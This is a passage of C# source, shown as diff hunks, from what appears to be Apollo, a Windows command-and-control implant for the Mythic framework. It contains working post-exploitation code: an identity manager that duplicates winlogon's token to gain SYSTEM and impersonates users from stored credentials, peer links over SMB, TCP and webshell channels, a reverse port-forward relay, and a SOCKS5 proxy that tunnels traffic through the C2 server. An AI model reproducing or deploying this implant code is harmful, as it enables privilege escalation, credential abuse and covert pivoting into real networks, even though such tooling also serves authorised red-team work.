throw new Exception($"Failed to acquire process token: {Marshal.GetLastWin32Error()}");
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception($"Failed to open thread token: {dwError}");
|
||||
}
|
||||
}
|
||||
|
||||
bRet = _DuplicateTokenEx(
|
||||
hToken,
|
||||
TokenAccessLevels.MaximumAllowed,
|
||||
IntPtr.Zero,
|
||||
TokenImpersonationLevel.Impersonation,
|
||||
TokenType.TokenImpersonation,
|
||||
out _originalImpersonationToken);
|
||||
|
||||
_CloseHandle(hToken);
|
||||
|
||||
if (!bRet)
|
||||
throw new Exception($"Failed to duplicate impersonation token: {Marshal.GetLastWin32Error()}");
|
||||
|
||||
if (_originalImpersonationToken == IntPtr.Zero)
|
||||
_originalImpersonationToken = _originalIdentity.Token;
|
||||
}
|
||||
|
||||
private void RevertInternal()
|
||||
{
|
||||
if (!_SetThreadToken(ref _executingThread, _originalImpersonationToken))
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"[!] Revert() failed to restore thread token: {Marshal.GetLastWin32Error()}");
|
||||
}
|
||||
|
||||
_userCredential = new ApolloLogonInformation();
|
||||
_currentImpersonationIdentity = _originalIdentity;
|
||||
_currentPrimaryIdentity = _originalIdentity;
|
||||
_isImpersonating = false;
|
||||
}
|
||||
|
||||
public bool IsOriginalIdentity()
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
return !_isImpersonating;
|
||||
}
|
||||
}
|
||||
|
||||
public (bool, IntPtr) GetSystem()
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
if (GetIntegrityLevel() is not IntegrityLevel.HighIntegrity)
|
||||
return (false, IntPtr.Zero);
|
||||
|
||||
IntPtr hToken = IntPtr.Zero;
|
||||
IntPtr hDupToken = IntPtr.Zero;
|
||||
|
||||
try
|
||||
{
|
||||
System.Diagnostics.Process[] processes = System.Diagnostics.Process.GetProcessesByName("winlogon");
|
||||
if (processes.Length == 0)
|
||||
return (false, IntPtr.Zero);
|
||||
|
||||
IntPtr handle = processes[0].Handle;
|
||||
bool success = _OpenProcessToken(
|
||||
handle,
|
||||
(uint)(TokenAccessLevels.Query | TokenAccessLevels.Duplicate),
|
||||
out hToken);
|
||||
|
||||
if (!success)
|
||||
{
|
||||
DebugHelp.DebugWriteLine("[!] GetSystem() - OpenProcessToken failed!");
|
||||
return (false, IntPtr.Zero);
|
||||
}
|
||||
|
||||
success = _DuplicateTokenEx(
|
||||
hToken,
|
||||
TokenAccessLevels.MaximumAllowed,
|
||||
IntPtr.Zero,
|
||||
TokenImpersonationLevel.Impersonation,
|
||||
TokenType.TokenImpersonation,
|
||||
out hDupToken);
|
||||
|
||||
if (!success)
|
||||
{
|
||||
DebugHelp.DebugWriteLine("[!] GetSystem() - DuplicateTokenEx failed!");
|
||||
return (false, IntPtr.Zero);
|
||||
}
|
||||
|
||||
DebugHelp.DebugWriteLine("[+] Got SYSTEM token!");
|
||||
return (true, hDupToken);
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (hToken != IntPtr.Zero)
|
||||
_CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public IntegrityLevel GetIntegrityLevel()
|
||||
{
|
||||
IntPtr hToken;
|
||||
|
||||
lock (_identitySync)
|
||||
{
|
||||
hToken = _currentImpersonationIdentity.Token;
|
||||
}
|
||||
|
||||
int dwRet = 0;
|
||||
int dwTokenInfoLength = 0;
|
||||
IntPtr pTokenLabel = IntPtr.Zero;
|
||||
|
||||
_GetTokenInformation(
|
||||
hToken,
|
||||
TokenInformationClass.TokenIntegrityLevel,
|
||||
IntPtr.Zero,
|
||||
0,
|
||||
out dwTokenInfoLength);
|
||||
|
||||
if (dwTokenInfoLength == 0 || Marshal.GetLastWin32Error() != Error.ERROR_INSUFFICIENT_BUFFER)
|
||||
return (IntegrityLevel)dwRet;
|
||||
|
||||
pTokenLabel = Marshal.AllocHGlobal(dwTokenInfoLength);
|
||||
|
||||
try
|
||||
{
|
||||
bool bRet = _GetTokenInformation(
|
||||
hToken,
|
||||
TokenInformationClass.TokenIntegrityLevel,
|
||||
pTokenLabel,
|
||||
dwTokenInfoLength,
|
||||
out dwTokenInfoLength);
|
||||
|
||||
if (bRet)
|
||||
{
|
||||
TokenMandatoryLevel tokenLabel = (TokenMandatoryLevel)Marshal.PtrToStructure(pTokenLabel, typeof(TokenMandatoryLevel));
|
||||
IntPtr pSidSubAuthorityCount = _GetSidSubAuthorityCount(tokenLabel.Label.Sid);
|
||||
int subAuthorityCount = Marshal.ReadByte(pSidSubAuthorityCount);
|
||||
|
||||
if (subAuthorityCount > 0)
|
||||
{
|
||||
dwRet = Marshal.ReadInt32(_GetSidSubAuthority(tokenLabel.Label.Sid, subAuthorityCount - 1));
|
||||
}
|
||||
|
||||
if (dwRet < SECURITY_MANDATORY_LOW_RID)
|
||||
dwRet = 0;
|
||||
else if (dwRet < SECURITY_MANDATORY_MEDIUM_RID)
|
||||
dwRet = 1;
|
||||
else if (dwRet < SECURITY_MANDATORY_HIGH_RID)
|
||||
dwRet = 2;
|
||||
else if (dwRet < SECURITY_MANDATORY_SYSTEM_RID)
|
||||
dwRet = 3;
|
||||
else
|
||||
dwRet = 4;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"[!] GetIntegrityLevel() failed: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(pTokenLabel);
|
||||
}
|
||||
|
||||
return (IntegrityLevel)dwRet;
|
||||
}
|
||||
|
||||
public WindowsIdentity GetCurrent()
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
return _currentImpersonationIdentity;
|
||||
}
|
||||
}
|
||||
|
||||
public WindowsIdentity GetOriginal()
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
return _originalIdentity;
|
||||
}
|
||||
}
|
||||
|
||||
public bool SetIdentity(ApolloLogonInformation logonInfo)
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
RevertInternal();
|
||||
|
||||
bool bRet = _pLogonUserW(
|
||||
logonInfo.Username,
|
||||
logonInfo.Domain,
|
||||
logonInfo.Password,
|
||||
logonInfo.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE,
|
||||
LogonProvider.LOGON32_PROVIDER_WINNT50,
|
||||
out IntPtr hToken);
|
||||
|
||||
if (!bRet)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
_currentPrimaryIdentity = new WindowsIdentity(hToken);
|
||||
|
||||
bRet = _DuplicateTokenEx(
|
||||
_currentPrimaryIdentity.Token,
|
||||
TokenAccessLevels.MaximumAllowed,
|
||||
IntPtr.Zero,
|
||||
TokenImpersonationLevel.Impersonation,
|
||||
TokenType.TokenImpersonation,
|
||||
out IntPtr dupToken);
|
||||
|
||||
if (!bRet)
|
||||
{
|
||||
_CloseHandle(hToken);
|
||||
RevertInternal();
|
||||
return false;
|
||||
}
|
||||
|
||||
_currentImpersonationIdentity = new WindowsIdentity(dupToken);
|
||||
_isImpersonating = true;
|
||||
_userCredential = logonInfo;
|
||||
|
||||
_CloseHandle(hToken);
|
||||
_CloseHandle(dupToken);
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public void SetPrimaryIdentity(WindowsIdentity ident)
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
_currentPrimaryIdentity = ident;
|
||||
_isImpersonating = true;
|
||||
}
|
||||
}
|
||||
|
||||
public void SetPrimaryIdentity(IntPtr hToken)
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
_currentPrimaryIdentity = new WindowsIdentity(hToken);
|
||||
_isImpersonating = true;
|
||||
}
|
||||
}
|
||||
|
||||
public void SetImpersonationIdentity(WindowsIdentity ident)
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
_currentImpersonationIdentity = ident;
|
||||
_isImpersonating = true;
|
||||
}
|
||||
}
|
||||
|
||||
public void SetImpersonationIdentity(IntPtr hToken)
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
_currentImpersonationIdentity = new WindowsIdentity(hToken);
|
||||
_isImpersonating = true;
|
||||
}
|
||||
}
|
||||
|
||||
public void Revert()
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
RevertInternal();
|
||||
}
|
||||
}
|
||||
|
||||
public WindowsIdentity GetCurrentPrimaryIdentity()
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
return _currentPrimaryIdentity;
|
||||
}
|
||||
}
|
||||
|
||||
public WindowsIdentity GetCurrentImpersonationIdentity()
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
return _currentImpersonationIdentity;
|
||||
}
|
||||
}
|
||||
|
||||
public bool GetCurrentLogonInformation(out ApolloLogonInformation logonInfo)
|
||||
{
|
||||
lock (_identitySync)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(_userCredential.Username) &&
|
||||
!string.IsNullOrEmpty(_userCredential.Password))
|
||||
{
|
||||
logonInfo = _userCredential;
|
||||
return true;
|
||||
}
|
||||
|
||||
logonInfo = new ApolloLogonInformation();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
using System;
|
||||
using Apollo.Peers.SMB;
|
||||
using Apollo.Peers.TCP;
|
||||
using Apollo.Peers.Webshell;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using ApolloInterop.Utils;
|
||||
using AI = ApolloInterop;
|
||||
namespace Apollo.Management.Peer
|
||||
{
|
||||
public class PeerManager : AI.Classes.P2P.PeerManager
|
||||
{
|
||||
public PeerManager(IAgent agent) : base(agent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override AI.Classes.P2P.Peer AddPeer(PeerInformation connectionInfo)
|
||||
{
|
||||
AI.Classes.P2P.Peer peer = null;
|
||||
switch(connectionInfo.C2Profile.Name.ToUpper())
|
||||
{
|
||||
case "SMB":
|
||||
peer = new SMBPeer(_agent, connectionInfo);
|
||||
break;
|
||||
case "TCP":
|
||||
peer = new TCPPeer(_agent, connectionInfo);
|
||||
break;
|
||||
case "WEBSHELL":
|
||||
peer = new WebshellPeer(_agent, connectionInfo);
|
||||
break;
|
||||
default:
|
||||
throw new Exception("Not implemented.");
|
||||
}
|
||||
if (peer == null)
|
||||
{
|
||||
throw new Exception("Peer not set to an instance of an object.");
|
||||
}
|
||||
while (!_peers.TryAdd(peer.GetUUID(), peer))
|
||||
{
|
||||
System.Threading.Thread.Sleep(100);
|
||||
}
|
||||
peer.UUIDNegotiated += (object _, AI.Classes.UUIDEventArgs args) =>
|
||||
{
|
||||
while (!_peers.TryRemove(peer.GetUUID(), out IPeer _))
|
||||
{
|
||||
System.Threading.Thread.Sleep(100);
|
||||
}
|
||||
while (!_peers.TryAdd(peer.GetMythicUUID(), peer))
|
||||
{
|
||||
System.Threading.Thread.Sleep(100);
|
||||
}
|
||||
};
|
||||
peer.Disconnect += (object _, EventArgs a) =>
|
||||
{
|
||||
while (!Remove(peer))
|
||||
System.Threading.Thread.Sleep(100);
|
||||
};
|
||||
//peer.Start();
|
||||
return peer;
|
||||
}
|
||||
|
||||
public override bool Route(DelegateMessage msg)
|
||||
{
|
||||
if (_peers.ContainsKey(msg.UUID))
|
||||
{
|
||||
_peers[msg.UUID].ProcessMessage(msg);
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,193 @@
|
||||
using ApolloInterop.Classes;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Linq;
|
||||
using System.Net.Sockets;
|
||||
using System.Threading;
|
||||
using TT = System.Threading.Tasks;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System.Net;
|
||||
using ApolloInterop.Utils;
|
||||
using System.Text;
|
||||
|
||||
namespace Apollo.Management.Rpfwd
|
||||
{
|
||||
public class RpfwdClient
|
||||
{
|
||||
// Rpfwd Client will be created for each new connection to the bound port in the rpfwd task
|
||||
|
||||
private AsyncTcpClient _client;
|
||||
private TcpClient _tcpClient;
|
||||
private IPAddress _addr;
|
||||
private int _port;
|
||||
|
||||
private CancellationTokenSource _cts = new CancellationTokenSource();
|
||||
|
||||
private AutoResetEvent _requestEvent = new AutoResetEvent(false);
|
||||
|
||||
private Action<object> _sendRequestsAction;
|
||||
private TT.Task _sendRequestsTask = null;
|
||||
public int ID { get; private set; }
|
||||
private IAgent _agent;
|
||||
private Tasking _task;
|
||||
private int _debugLevel;
|
||||
private string _remoteConnectionString;
|
||||
|
||||
private ConcurrentQueue<byte[]> _requestQueue = new ConcurrentQueue<byte[]>();
|
||||
private ConcurrentQueue<byte[]> _receiveQueue = new ConcurrentQueue<byte[]>();
|
||||
|
||||
public RpfwdClient(IAgent agent, TcpClient client, int serverId, int port, int debugLevel, Tasking task)
|
||||
{
|
||||
_agent = agent;
|
||||
_port = port;
|
||||
ID = serverId;
|
||||
_tcpClient = client;
|
||||
_task = task;
|
||||
_debugLevel = debugLevel;
|
||||
_remoteConnectionString = $"{_tcpClient.Client.RemoteEndPoint}";
|
||||
|
||||
_sendRequestsAction = (object c) =>
|
||||
{
|
||||
TcpClient client = (TcpClient)c;
|
||||
while(!_cts.IsCancellationRequested && client.Connected)
|
||||
{
|
||||
try
|
||||
{
|
||||
WaitHandle.WaitAny(new WaitHandle[] {_requestEvent, _cts.Token.WaitHandle});
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (!_cts.IsCancellationRequested && client.Connected && _requestQueue.TryDequeue(out byte[] result))
|
||||
{
|
||||
try
|
||||
{
|
||||
client.GetStream().BeginWrite(result, 0, result.Length, OnDataSent, c);
|
||||
}
|
||||
catch
|
||||
{
|
||||
break;
|
||||
}
|
||||
} else if (_cts.IsCancellationRequested || !client.Connected)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
client.Close();
|
||||
};
|
||||
}
|
||||
|
||||
public void Exit()
|
||||
{
|
||||
_cts.Cancel();
|
||||
if (_sendRequestsTask != null)
|
||||
_sendRequestsTask.Wait();
|
||||
}
|
||||
public void Start()
|
||||
{
|
||||
_client = new AsyncTcpClient(_tcpClient);
|
||||
_client.ConnectionEstablished += OnConnect;
|
||||
_client.Disconnect += OnDisconnect;
|
||||
_client.MessageReceived += OnMessageReceived;
|
||||
|
||||
_client.Connect();
|
||||
}
|
||||
private void OnConnect(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
args.State = this;
|
||||
_sendRequestsTask = new TT.Task(_sendRequestsAction, args.Client);
|
||||
_sendRequestsTask.Start();
|
||||
_agent.GetTaskManager().AddRpfwdDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
|
||||
{
|
||||
ServerID = ID,
|
||||
Data = "",
|
||||
Exit = false,
|
||||
Port = _port
|
||||
});
|
||||
if(_debugLevel > 0)
|
||||
{
|
||||
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - New Connection\nClient: {_remoteConnectionString}\n\n", false));
|
||||
}
|
||||
}
|
||||
|
||||
private void OnDisconnect(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
_cts.Cancel();
|
||||
args.Client.Close();
|
||||
_sendRequestsTask.Wait();
|
||||
_agent.GetRpfwdManager().Remove(ID);
|
||||
if(_debugLevel > 0)
|
||||
{
|
||||
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Closed Connection\nClient: {_remoteConnectionString}\n\n", false));
|
||||
}
|
||||
}
|
||||
|
||||
private void OnDataSent(IAsyncResult result)
|
||||
{
|
||||
TcpClient client = (TcpClient)result.AsyncState;
|
||||
if (client.Connected && !_cts.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
client.GetStream().EndWrite(result);
|
||||
// Potentially delete this since theoretically the sender Task does everything
|
||||
if (_requestQueue.TryDequeue(out byte[] data))
|
||||
{
|
||||
client.GetStream().BeginWrite(data, 0, data.Length, OnDataSent, client);
|
||||
}
|
||||
}
|
||||
catch (System.IO.IOException)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
byte[] data = args.Data.Data.Take(args.Data.DataLength).ToArray();
|
||||
DebugHelp.DebugWriteLine($"Got data from client: {ID}, AddRpfwdDatagramToQueue");
|
||||
_agent.GetTaskManager().AddRpfwdDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
|
||||
{
|
||||
ServerID = ID,
|
||||
Data = Convert.ToBase64String(data),
|
||||
Exit = false,
|
||||
Port = _port
|
||||
});
|
||||
if(_debugLevel >= 1)
|
||||
{
|
||||
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Data ({data.Length} Bytes) From Remote Connection\n{Encoding.UTF8.GetString(data)}\n\n", false));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public bool HandleDatagram(SocksDatagram dg)
|
||||
{
|
||||
byte[] data;
|
||||
bool bRet = false;
|
||||
try
|
||||
{
|
||||
data = Convert.FromBase64String(dg.Data);
|
||||
} catch (Exception ex)
|
||||
{
|
||||
// Console.WriteLine($"Invalid b64 data from Mythic: {ex.Message}");
|
||||
return bRet;
|
||||
}
|
||||
|
||||
if (_client != null && !_sendRequestsTask.IsCompleted)
|
||||
{
|
||||
_requestQueue.Enqueue(data);
|
||||
_requestEvent.Set();
|
||||
bRet = true;
|
||||
}
|
||||
if(_debugLevel >= 2)
|
||||
{
|
||||
_agent.GetTaskManager().AddTaskResponseToQueue(_task.CreateTaskResponse($"[Connection {ID}] - Data ({data.Length} Bytes) From Mythic Connection\n{Encoding.UTF8.GetString(data)}\n\n", false));
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
using AI = ApolloInterop;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Net.Sockets;
|
||||
using System;
|
||||
using ApolloInterop.Utils;
|
||||
using System.Xml.Linq;
|
||||
using ApolloInterop.Classes;
|
||||
|
||||
namespace Apollo.Management.Rpfwd
|
||||
{
|
||||
public class RpfwdManager : AI.Classes.RpfwdManager
|
||||
{
|
||||
private ConcurrentDictionary<int, RpfwdClient> _connections = new ConcurrentDictionary<int, RpfwdClient>();
|
||||
|
||||
public RpfwdManager(IAgent agent) : base(agent)
|
||||
{
|
||||
|
||||
}
|
||||
public override bool AddConnection(TcpClient client, int ServerID, int Port, int debugLevel, Tasking task)
|
||||
{
|
||||
RpfwdClient c = new RpfwdClient(_agent, client, ServerID, Port, debugLevel, task);
|
||||
_connections.AddOrUpdate(c.ID, c, (int i, RpfwdClient d) => { return d; });
|
||||
DebugHelp.DebugWriteLine($"added new connection to RpfwdManager _connections: {ServerID}");
|
||||
c.Start();
|
||||
return true;
|
||||
}
|
||||
|
||||
public override bool Route(SocksDatagram dg)
|
||||
{
|
||||
// we'll never get notification of a new client from the server, we will always identify new clients
|
||||
DebugHelp.DebugWriteLine($"routing datagram: {dg.ServerID}");
|
||||
if (!_connections.ContainsKey(dg.ServerID))
|
||||
{
|
||||
// this means we got a message for something that's already exited on our end
|
||||
if (!dg.Exit)
|
||||
{
|
||||
// it is exited on our end, but Mythic isn't trying to tell us to exit, so we need to inform it to close the connection
|
||||
return dg.Exit;
|
||||
}
|
||||
// we don't have the id, but Mythic is trying to tell us to close the id, so just drop the packet
|
||||
return false;
|
||||
// RpfwdClient c = new RpfwdClient(_agent, dg.ServerID);
|
||||
//_connections.AddOrUpdate(c.ID, c, (int i, RpfwdClient d) => { return d; });
|
||||
}
|
||||
var handleRet = _connections[dg.ServerID].HandleDatagram(dg);
|
||||
if (dg.Exit)
|
||||
{
|
||||
// we do have the connection tracked and the Mythic server is telling us its closed on their end, so close here and exit
|
||||
_connections[dg.ServerID].Exit();
|
||||
return dg.Exit;
|
||||
}
|
||||
return handleRet;
|
||||
}
|
||||
|
||||
public override bool Remove(int id)
|
||||
{
|
||||
_connections[id].Exit();
|
||||
return _connections.TryRemove(id, out RpfwdClient _);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
using ApolloInterop.Classes;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Linq;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using TT = System.Threading.Tasks;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System.Net;
|
||||
using ApolloInterop.Constants;
|
||||
|
||||
namespace Apollo.Management.Socks
|
||||
{
|
||||
public class SocksClient
|
||||
{
|
||||
|
||||
private AsyncTcpClient _client;
|
||||
private IPAddress _addr;
|
||||
private int _port;
|
||||
|
||||
private CancellationTokenSource _cts = new CancellationTokenSource();
|
||||
|
||||
private AutoResetEvent _requestEvent = new AutoResetEvent(false);
|
||||
|
||||
private Action<object> _sendRequestsAction;
|
||||
private TT.Task _sendRequestsTask = null;
|
||||
public int ID { get; private set; }
|
||||
private IAgent _agent;
|
||||
|
||||
private ConcurrentQueue<byte[]> _requestQueue = new ConcurrentQueue<byte[]>();
|
||||
private ConcurrentQueue<byte[]> _receiveQueue = new ConcurrentQueue<byte[]>();
|
||||
|
||||
public SocksClient(IAgent agent, int serverId)
|
||||
{
|
||||
_agent = agent;
|
||||
|
||||
ID = serverId;
|
||||
|
||||
_sendRequestsAction = (object c) =>
|
||||
{
|
||||
TcpClient client = (TcpClient)c;
|
||||
while(!_cts.IsCancellationRequested && client.Connected)
|
||||
{
|
||||
try
|
||||
{
|
||||
WaitHandle.WaitAny(new WaitHandle[] {_requestEvent, _cts.Token.WaitHandle});
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (!_cts.IsCancellationRequested && client.Connected && _requestQueue.TryDequeue(out byte[] result))
|
||||
{
|
||||
try
|
||||
{
|
||||
client.GetStream().BeginWrite(result, 0, result.Length, OnDataSent, c);
|
||||
}
|
||||
catch
|
||||
{
|
||||
break;
|
||||
}
|
||||
} else if (_cts.IsCancellationRequested || !client.Connected)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
client.Close();
|
||||
};
|
||||
}
|
||||
|
||||
public void Exit()
|
||||
{
|
||||
_cts.Cancel();
|
||||
if (_sendRequestsTask != null)
|
||||
_sendRequestsTask.Wait();
|
||||
}
|
||||
|
||||
private void OnConnect(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
args.State = this;
|
||||
_sendRequestsTask = new TT.Task(_sendRequestsAction, args.Client);
|
||||
_sendRequestsTask.Start();
|
||||
}
|
||||
|
||||
private void OnDisconnect(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
_cts.Cancel();
|
||||
args.Client.Close();
|
||||
_sendRequestsTask.Wait();
|
||||
_agent.GetSocksManager().Remove(ID);
|
||||
}
|
||||
|
||||
private void OnDataSent(IAsyncResult result)
|
||||
{
|
||||
TcpClient client = (TcpClient)result.AsyncState;
|
||||
if (client.Connected && !_cts.IsCancellationRequested)
|
||||
{
|
||||
try
|
||||
{
|
||||
client.GetStream().EndWrite(result);
|
||||
// Potentially delete this since theoretically the sender Task does everything
|
||||
if (_requestQueue.TryDequeue(out byte[] data))
|
||||
{
|
||||
client.GetStream().BeginWrite(data, 0, data.Length, OnDataSent, client);
|
||||
}
|
||||
}
|
||||
catch (System.IO.IOException)
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
byte[] data = args.Data.Data.Take(args.Data.DataLength).ToArray();
|
||||
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
|
||||
{
|
||||
ServerID = ID,
|
||||
Data = Convert.ToBase64String(data),
|
||||
Exit = false
|
||||
});
|
||||
}
|
||||
|
||||
public static Socks5AddressType GetAddrType(byte[] data)
|
||||
{
|
||||
return (Socks5AddressType)data[3];
|
||||
}
|
||||
|
||||
public bool GetConnection(byte[] data)
|
||||
{
|
||||
Socks5AddressType addrType = GetAddrType(data);
|
||||
|
||||
switch(addrType)
|
||||
{
|
||||
case Socks5AddressType.FQDN:
|
||||
int domainLen = data[4];
|
||||
string domainName = Encoding.UTF8.GetString(data.Skip(5).Take(domainLen).ToArray());
|
||||
_port = (int)BitConverter.ToUInt16(data.Skip(5 + domainLen).Take(2).Reverse().ToArray(), 0);
|
||||
try
|
||||
{
|
||||
_addr = Dns.GetHostEntry(domainName).AddressList[0];
|
||||
} catch (Exception ex)
|
||||
{
|
||||
// Console.WriteLine($"Failed to resolve DNS for {domainName}: {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
_client = new AsyncTcpClient(domainName, _port);
|
||||
break;
|
||||
case Socks5AddressType.IPv4:
|
||||
byte[] bIpv4 = data.Skip(4).Take(4).ToArray();
|
||||
_port = (int)BitConverter.ToUInt16(data.Skip(8).Reverse().ToArray(), 0);
|
||||
_addr = new IPAddress(bIpv4);
|
||||
_client = new AsyncTcpClient(_addr, _port);
|
||||
break;
|
||||
case Socks5AddressType.IPv6:
|
||||
byte[] bIpv6 = data.Skip(4).Take(16).ToArray();
|
||||
int port3 = (int)BitConverter.ToUInt16(data.Skip(20).Reverse().ToArray(), 0);
|
||||
_addr = new IPAddress(bIpv6);
|
||||
_client = new AsyncTcpClient(_addr, _port);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
if (_client == null)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
_client.ConnectionEstablished += OnConnect;
|
||||
_client.Disconnect += OnDisconnect;
|
||||
_client.MessageReceived += OnMessageReceived;
|
||||
|
||||
return _client.Connect();
|
||||
}
|
||||
|
||||
private bool SupportedSocksVersion(byte[] data)
|
||||
{
|
||||
return data[0] == SOCKS.SUPPORTED_VERSION;
|
||||
}
|
||||
|
||||
private Socks5Command GetCommand(byte[] data)
|
||||
{
|
||||
return (Socks5Command)data[1];
|
||||
}
|
||||
|
||||
public bool HandleDatagram(SocksDatagram dg)
|
||||
{
|
||||
byte[] data;
|
||||
bool bRet = false;
|
||||
try
|
||||
{
|
||||
data = Convert.FromBase64String(dg.Data);
|
||||
} catch (Exception ex)
|
||||
{
|
||||
// Console.WriteLine($"Invalid b64 data from Mythic: {ex.Message}");
|
||||
return bRet;
|
||||
}
|
||||
|
||||
if (_client != null && !_sendRequestsTask.IsCompleted)
|
||||
{
|
||||
_requestQueue.Enqueue(data);
|
||||
_requestEvent.Set();
|
||||
bRet = true;
|
||||
} else
|
||||
{
|
||||
if (data.Length > 3 && SupportedSocksVersion(data))
|
||||
{
|
||||
switch (GetCommand(data))
|
||||
{
|
||||
case Socks5Command.Connect:
|
||||
if (GetConnection(data))
|
||||
{
|
||||
byte[] success = new byte[22];
|
||||
int succesLen = success.Length;
|
||||
success[0] = SOCKS.SUPPORTED_VERSION;
|
||||
if (_addr.AddressFamily == AddressFamily.InterNetwork)
|
||||
{
|
||||
succesLen -= 12;
|
||||
success[3] = 0x01;
|
||||
Buffer.BlockCopy(_addr.GetAddressBytes(), 0, success, 4, 4);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(_port), 0, success, 8, 2);
|
||||
} else
|
||||
{
|
||||
success[3] = 0x04;
|
||||
Buffer.BlockCopy(_addr.GetAddressBytes(), 0, success, 4, 16);
|
||||
Buffer.BlockCopy(BitConverter.GetBytes(_port), 0, success, 20, 2);
|
||||
}
|
||||
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
|
||||
{
|
||||
ServerID = ID,
|
||||
Data = Convert.ToBase64String(success.Take(succesLen).ToArray()),
|
||||
Exit = false
|
||||
});
|
||||
bRet = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
byte[] failedMessage = new byte[10]
|
||||
{
|
||||
SOCKS.SUPPORTED_VERSION,
|
||||
0x01,
|
||||
0x00,
|
||||
0x01,
|
||||
0x00,
|
||||
0x00,
|
||||
0x00,
|
||||
0x00,
|
||||
0x00,
|
||||
0x00,
|
||||
};
|
||||
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
|
||||
{
|
||||
ServerID = ID,
|
||||
Data = Convert.ToBase64String(failedMessage),
|
||||
Exit = true
|
||||
});
|
||||
}
|
||||
break;
|
||||
case Socks5Command.Bind:
|
||||
break;
|
||||
case Socks5Command.Associate:
|
||||
break;
|
||||
default:
|
||||
byte[] unsupportedCmd = new byte[10]
|
||||
{
|
||||
SOCKS.SUPPORTED_VERSION,
|
||||
0x07,
|
||||
0x00,
|
||||
0x01,
|
||||
0x00,
|
||||
0x00,
|
||||
0x00,
|
||||
0x00,
|
||||
0x00,
|
||||
0x00,
|
||||
};
|
||||
_agent.GetTaskManager().AddSocksDatagramToQueue(MessageDirection.ToMythic, new SocksDatagram()
|
||||
{
|
||||
ServerID = ID,
|
||||
Data = Convert.ToBase64String(unsupportedCmd),
|
||||
Exit = true
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
}
|
